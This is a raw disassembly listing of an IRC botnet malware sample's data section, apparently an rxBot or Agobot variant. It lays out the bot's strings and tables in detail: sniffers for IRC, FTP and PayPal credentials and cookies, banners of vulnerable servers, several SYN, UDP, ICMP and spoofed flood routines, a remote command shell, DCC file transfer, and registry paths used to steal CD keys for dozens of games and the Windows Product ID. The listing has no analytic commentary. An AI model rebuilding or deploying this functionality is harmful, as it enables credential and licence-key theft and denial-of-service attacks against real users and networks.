sub_412C1F+2Bo align 4 aPsniff_2 db 'PSNIFF//',0 ; DATA XREF: sub_412C1F+3Co align 10h aJoin_1 db 'JOIN #',0 ; DATA XREF: sub_412C1F+4Do align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412C1F:loc_412C81o align 10h a366 db '366 ',0 ; DATA XREF: sub_412C1F+73o align 4 a_login db ':.login',0 ; DATA XREF: sub_412C1F+84o aLogin_1 db ':!login',0 ; DATA XREF: sub_412C1F+95o aLogin_2 db ':!Login',0 ; DATA XREF: sub_412C1F+A6o a_login_0 db ':.Login',0 ; DATA XREF: sub_412C1F+B7o a_ident db ':.ident',0 ; DATA XREF: sub_412C1F+C8o aIdent_0 db ':!ident',0 ; DATA XREF: sub_412C1F+D9o a_hashin db ':.hashin',0 ; DATA XREF: sub_412C1F+EEo align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412C1F+103o align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412D36+5o align 4 aOper db 'OPER ',0 ; DATA XREF: sub_412D36+2Bo align 4 aNick_3 db 'NICK ',0 ; DATA XREF: sub_412D36:loc_412D76o align 4 aOper_0 db 'oper ',0 ; DATA XREF: sub_412D36+51o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412D36+62o aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_412DAC+5o align 4 aNick_2 db 'NICK ',0 ; DATA XREF: sub_412DAC+2Bo align 4 a220 db '220 ',0 ; DATA XREF: sub_412DAC+3Co align 4 a230 db '230 ',0 ; DATA XREF: sub_412DAC:loc_412DFDo align 4 aUser_2 db 'USER ',0 ; DATA XREF: sub_412DAC+62o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_412DAC+73o align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412E33+5o align 10h aPaypal db 'paypal',0 ; DATA XREF: sub_412E33+2Bo align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412E33:loc_412E73o align 10h aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_412E33+51o align 4 aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_412E33+62o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412E33+73o aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_412EBA+5o align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_412EBA+2Bo align 10h aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_412EBA:loc_412EFAo align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_412EBA+51o align 10h unk_44C990 db 2Dh ; - ; DATA XREF: sub_412F1F+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRe_0 db '- bind() failed, returned %d',0 align 4 unk_44C9BC db 2Dh ; - ; DATA XREF: sub_412F1F+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0 align 4 aS_27 db '%s',0 ; DATA XREF: sub_412F1F+22Fo align 10h aS_28 db '%s',0 ; DATA XREF: sub_412F1F+253o align 4 unk_44C9F4 db 2Dh ; - ; DATA XREF: sub_412F1F+2DCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_44CA28 db 2Dh ; - ; DATA XREF: sub_412F1F+30Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_44CA5C db 2Dh ; - ; DATA XREF: sub_412F1F+337o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_44CA90 db 2Dh ; - ; DATA XREF: sub_412F1F+36Ao db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_44CAC8 db 2Dh ; - ; DATA XREF: sub_412F1F+3D6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 10h unk_44CB00 db 2Dh ; - ; DATA XREF: sub_4132FC+5Bo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 aDdos_syn_0 db 'ddos.syn',0 ; DATA XREF: sub_4133AE+F1o align 4 aDdos_ack_0 db 'ddos.ack',0 ; DATA XREF: sub_4133AE:loc_4134BEo align 10h aDdos_random_0 db 'ddos.random',0 ; DATA XREF: sub_4133AE:loc_4134DAo dword_44CB4C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_4133AE+31Ao dd 203A726Fh, 6425h unk_44CB68 db 2Dh ; - ; DATA XREF: sub_413740+49o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSocketFailed_0 db 'socket() failed, returned %d',0 align 4 unk_44CB94 db 2Dh ; - ; DATA XREF: sub_413740+C2o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSetsockoptFail db 'setsockopt() failed, returned %d',0 align 4 unk_44CBC4 db 2Dh ; - ; DATA XREF: sub_413740+12Ao db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidTargetI db 'invalid target ip',0 align 8 unk_44CBE8 db 2Dh ; - ; DATA XREF: sub_413740+326o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0 align 8 unk_44CC38 db 2Dh ; - ; DATA XREF: sub_413740+390o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0 align 10h unk_44CC80 db 2Dh ; - ; DATA XREF: sub_413B2B+6Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aErrorSendingPi db 'error sending pings to %s',0 align 4 unk_44CCA8 db 2Dh ; - ; DATA XREF: sub_413B2B+13Co db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFinishedSendin db 'finished sending pings to %s',0 align 4 unk_44CCD4 db 2Dh ; - ; DATA XREF: sub_413CB7+8Eo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aErrorSending_0 db '- error sending packets to %s',0 align 4 unk_44CCFC db 2Dh ; - ; DATA XREF: sub_413CB7+1C7o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFinishedSend_0 db '- finished sending packets to %s',0 align 4 dword_44CD28 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_413ECE+48o aDoneWithFloodI db '- Done with flood (%iKB/sec)',0 align 4 unk_44CD54 db 2Dh ; - ; DATA XREF: sub_414067+48o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0 align 4 unk_44CD7C db 2Dh ; - ; DATA XREF: sub_414103+295o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aSendErrorD_ db '- Send error: <%d>.',0 align 4 dword_44CD9C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_41440C+4Do aDoneWithFlood_ db '- Done with flood.',0 align 10h unk_44CDC0 db 2Dh ; - ; DATA XREF: sub_4146C8+70o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0 align 4 unk_44CDF4 db 2Dh ; - ; DATA XREF: sub_4146C8+EEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_44CE2C db 2Dh ; - ; DATA XREF: sub_4146C8+15Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidTarge_0 db '- Invalid target IP.',0 align 4 aSyn_1 db 'syn',0 ; DATA XREF: sub_4146C8+2BDo aAck_0 db 'ack',0 ; DATA XREF: sub_4146C8+2DDo aRandom_2 db 'random',0 ; DATA XREF: sub_4146C8+2FDo align 10h unk_44CE60 db 2Dh ; - ; DATA XREF: sub_4146C8+471o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 10h unk_44CEB0 db 2Dh ; - ; DATA XREF: sub_4146C8+4E4o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 10h unk_44CF00 db 2Dh ; - ; DATA XREF: sub_414C64+60o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aDoneWithFloodD db '- Done with flood, %d packets sent.',0 align 4 aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_414D19+C8o unk_44CF40 db 2Dh ; - ; DATA XREF: sub_414F53+47o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0 align 10h unk_44CF80 db 2Dh ; - ; DATA XREF: sub_414FC9+2Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h unk_44CFB0 db 2Dh ; - ; DATA XREF: sub_414FC9+63o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0 align 10h unk_44D000 db 2Dh ; - ; DATA XREF: sub_414FC9+80o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0 unk_44D044 db 2Dh ; - ; DATA XREF: sub_414FC9+CCo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aSendingPackets db '- Sending packets to %s...',0 aD_D_D_D_2 db '%d.%d.%d.%d',0 ; DATA XREF: sub_414FC9+17Eo align 10h unk_44D080 db 2Dh ; - ; DATA XREF: sub_414FC9+2F6o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat' db 'a sent (~%dK/s).',0 align 8 unk_44D0E8 db 2Dh ; - ; DATA XREF: sub_414FC9+348o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError(' db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 unk_44D174 db 2Dh ; - ; DATA XREF: sub_415321+5Do db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 10h asc_44D1A0: ; DATA XREF: sub_4154BB+1C0o unicode 0, < >,0 aSD_2 db '%s%d ',0 ; DATA XREF: sub_4154BB+1FEo align 4 dword_44D1AC dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_4159C4+10o dword_44D1C0 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_4159C4+35o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415A3C+60o align 4 dword_44D1F8 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: _0:00415AF8o dword_44D204 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415B79+20o dword_44D218 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415B79:loc_415BAEo dword_44D22C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: sub_415BEC+3Fo dd 676E6974h, 0 dword_44D248 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: sub_415BEC+DCo dd 6574656Ch, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_415D1B+11o aWindow db 'Window',0 ; DATA XREF: sub_415F56+23o align 4 aWindow_0 db 'Window',0 ; DATA XREF: sub_41614F+26o align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: _2:off_44E134o align 4 aCdkey db 'CDKey',0 ; DATA XREF: _2:0044E138o align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: _2:0044E13Co aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aRegnumber db 'RegNumber',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aKey_0 db 'Key',0 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aKey_1 db 'Key',0 aHalfLife db 'Half-Life',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aPrvkey db 'prvkey',0 align 4 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aCustomernumber db 'CustomerNumber',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aCdkey_0 db 'CDKey',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 align 4 aProductid db 'ProductId',0 align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 10h aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2003',0 align 4 aCdkey_1 db 'CDKey',0 align 4 aUnrealTourname db 'Unreal Tournament 2003',0 align 4 aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2004',0 align 4 aCdkey_2 db 'CDKey',0 align 10h aUnrealTourna_0 db 'Unreal Tournament 2004',0 align 4 aSoftwareIgi2Re db 'Software\IGI 2 Retail',0 align 10h aCdkey_3 db 'CDKey',0 align 4 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 10h aSoftwareElectr db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 aSoftwareElec_0 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aBattlefield194 db 'Battlefield 1942',0 align 4 aSoftwareElec_1 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 align 8 aSoftwareElec_2 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 aSoftwareElec_3 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h aBattlefieldVie db 'Battlefield Vietnam',0 aSoftwareElec_4 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 align 10h aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 10h aCommandAndConq db 'Command and Conquer: Generals (Zero Hour)',0 align 10h aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0 aCommandAndCo_0 db 'Command and Conquer: Generals',0 align 4 aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault',0 align 4 aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h aMedalOfHonor_1 db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 8 aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 aSoftwareEle_15 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 aSoftwareEle_16 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 aSoftwareEle_17 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 aSoftwareEle_18 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 aSoftwareEle_19 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNascarRacing20 db 'Nascar Racing 2002',0 align 4 aSoftwareEle_20 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2003',0 align 4 aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0 align 4 aCdkey_4 db 'CDKey',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 aSoftwareWestwo db 'Software\Westwood\Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSoftwareWest_0 db 'Software\Westwood\Red Alert',0 aSerial_0 db 'Serial',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Red Alert',0 align 4 aSoftwareWest_1 db 'Software\Westwood\Red Alert 2',0 align 4 aSerial_1 db 'Serial',0 align 4 aCommandAndCo_3 db 'Command and Conquer: Red Alert 2',0 align 4 aSoftwareWest_2 db 'Software\Westwood\NOX',0 align 10h aSerial_2 db 'Serial',0 align 4 aNox db 'NOX',0 aSoftwareTechla db 'Software\Techland\Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 aChrome db 'Chrome',0 align 10h aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aKey_2 db 'key',0 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 10h aBaseMpSof2key db 'base\mp\sof2key',0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aLocation db 'Location',0 align 4 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aNwncdkey_ini db 'nwncdkey.ini',0 align 4 aKey1 db 'Key1=',0 align 10h aSoftwareBiow_0 db 'Software\BioWare\NWN\Neverwinter',0 align 4 aLocation_0 db 'Location',0 align 10h aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0 align 4 aNwncdkey_ini_0 db 'nwncdkey.ini',0 align 4 aKey2 db 'Key2=',0 align 4 aSoftwareBiow_1 db 'Software\BioWare\NWN\Neverwinter',0 align 4 aLocation_1 db 'Location',0 align 4 aNeverwinterN_1 db 'Neverwinter Nights (Hordes of the Underdark)',0 align 4 aNwncdkey_ini_1 db 'nwncdkey.ini',0 align 4 aKey3 db 'Key3=',0 align 10h dd 80000001h off_44E134 dd offset aSoftwareValveC ; DATA XREF: sub_41638E+Cr ; sub_41638E+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_44E140 dd 2 dup(0) ; DATA XREF: sub_41638E+26o dd 80000001h, 44D2C8h, 44D2F0h, 44D2FCh, 2 dup(0) dd 80000001h, 44D30Ch, 44D32Ch, 44D330h, 2 dup(0) dd 80000001h, 44D344h, 44D368h, 44D36Ch, 2 dup(0) dd 80000001h, 44D378h, 44D39Ch, 44D3A4h, 2 dup(0) dd 80000001h, 44D3B8h, 44D3CCh, 44D3DCh, 2 dup(0) dd 80000001h, 44D3F8h, 44D43Ch, 44D444h, 2 dup(0) dd 80000002h, 44D458h, 44D484h, 44D490h, 2 dup(0) dd 80000002h, 44D4B0h, 44D4E4h, 44D4ECh, 2 dup(0) dd 80000002h, 44D504h, 44D538h, 44D540h, 2 dup(0) dd 80000002h, 44D558h, 44D570h, 44D578h, 2 dup(0) dd 80000002h, 44D590h, 4EABDCh, 44D5CCh, 2 dup(0) dd 80000002h, 44D5DCh, 4EABDDh, 44D614h, 2 dup(0) dd 80000002h, 44D628h, 4EABDEh, 44D674h, 2 dup(0) dd 80000002h, 44D698h, 4EABDFh, 44D6E8h, 2 dup(0) dd 80000002h, 44D714h, 4EABE0h, 44D750h, 2 dup(0) dd 80000002h, 44D764h, 4EABE1h, 44D79Ch, 2 dup(0) dd 80000002h, 44D7B0h, 4EABE2h, 44D800h, 2 dup(0) dd 80000002h, 44D830h, 4EABE3h, 44D870h, 2 dup(0) dd 80000002h, 44D88Ch, 4EABE4h, 44D8BCh, 2 dup(0) dd 80000002h, 44D8DCh, 4EABE5h, 44D918h, 2 dup(0) dd 80000002h, 44D930h, 4EABE6h, 44D978h, 2 dup(0) dd 80000002h, 44D998h, 4EABE7h, 44D9ECh, 2 dup(0) dd 80000002h, 44DA20h, 4EABE8h, 44DA70h, 2 dup(0) dd 80000002h, 44DA9Ch, 44DADCh, 44DAE4h, 2 dup(0) dd 80000002h, 44DB08h, 4EABE9h, 44DB4Ch, 2 dup(0) dd 80000002h, 44DB68h, 4EABEAh, 44DBB4h, 2 dup(0) dd 80000002h, 44DBD8h, 4EABEBh, 44DC0Ch, 2 dup(0) dd 80000002h, 44DC18h, 4EABECh, 44DC4Ch, 2 dup(0) dd 80000002h, 44DC58h, 4EABEDh, 44DC8Ch, 2 dup(0) dd 80000002h, 44DC98h, 4EABEEh, 44DCCCh, 2 dup(0) dd 80000002h, 44DCD8h, 4EABEFh, 44DD14h, 2 dup(0) dd 80000002h, 44DD28h, 4EABF0h, 44DD64h, 2 dup(0) dd 80000002h, 44DD78h, 44DDA8h, 44DDB0h, 2 dup(0) dd 80000002h, 44DDCCh, 44DDECh, 44DDF4h, 2 dup(0) dd 80000002h, 44DE18h, 44DE34h, 44DE3Ch, 2 dup(0) dd 80000002h, 44DE5Ch, 44DE7Ch, 44DE84h, 2 dup(0) dd 80000002h, 44DEA8h, 44DEC0h, 44DEC8h, 2 dup(0) dd 80000002h, 44DECCh, 44DEE8h, 44DEF8h, 2 dup(0) dd 80000002h, 44DF00h, 44DF34h, 44DF38h, 2 dup(0) dd 80000002h, 44DF50h, 44DF8Ch, 44DF98h, 44DFC0h, 44DFD0h dd 80000002h, 44DFE4h, 44E008h, 44E014h, 44E028h, 44E038h dd 80000002h, 44E040h, 44E064h, 44E070h, 44E09Ch, 44E0ACh dd 80000002h, 44E0B4h, 44E0D8h, 44E0E4h, 44E114h, 44E124h dd 6 dup(0) dword_44E568 dd 255C7325h ; DATA XREF: sub_41638E+79o aSr: ; DATA XREF: sub_41638E+8Ao ; sub_41638E+E1o ... unicode 0, <sr==> dword_44E574 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_41638E+101o dd 0 dword_44E58C dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_41638E+11Bo dd 0 dword_44E5A4 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_41638E+167o dd 0 unk_44E5BC db 2Dh ; - ; DATA XREF: sub_4165C7+47o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h unk_44E5E0 db 2Dh ; - ; DATA XREF: sub_4165C7+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 10h asc_44E610: ; DATA XREF: sub_4165C7+138o dw 0Ah unicode 0, <>,0 unk_44E614 db 2Dh ; - ; DATA XREF: sub_4165C7+170o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 unk_44E648 db 2Dh ; - ; DATA XREF: sub_416788+44o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_3 db '- failed to create socket',0 align 4 unk_44E66C db 2Dh ; - ; DATA XREF: sub_416788+82o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_44E690 db 2Dh ; - ; DATA XREF: sub_416788+FDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpen_0 db '- failed to open socket',0 align 4 unk_44E6B4 db 2Dh ; - ; DATA XREF: sub_416788+127o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 dword_44E6D4 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_416788+16Ao dd 169h dword_44E6EC dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: sub_416788+1CBo dd 74756Fh unk_44E704 db 2Dh ; - ; DATA XREF: sub_416788+202o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 unk_44E728 db 2Dh ; - ; DATA XREF: sub_416788+2FAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 dword_44E754 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_416788+36Bo dd 726F72h dword_44E76C dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_416788+37Co dd 726F72h dword_44E784 dd 73257325h, 0 ; DATA XREF: sub_416B2D+54o unk_44E78C db 2Dh ; - ; DATA XREF: sub_416B2D+83o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_416B2D+97o unk_44E7C0 db 2Dh ; - ; DATA XREF: sub_416B2D+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 unk_44E7EC db 2Dh ; - ; DATA XREF: sub_416B2D+CBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 dword_44E80C dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_416B2D+156o dd 726F72h unk_44E824 db 2Dh ; - ; DATA XREF: sub_416B2D+1CFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 10h unk_44E850 db 2Dh ; - ; DATA XREF: sub_416D68+77o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 unk_44E878 db 2Dh 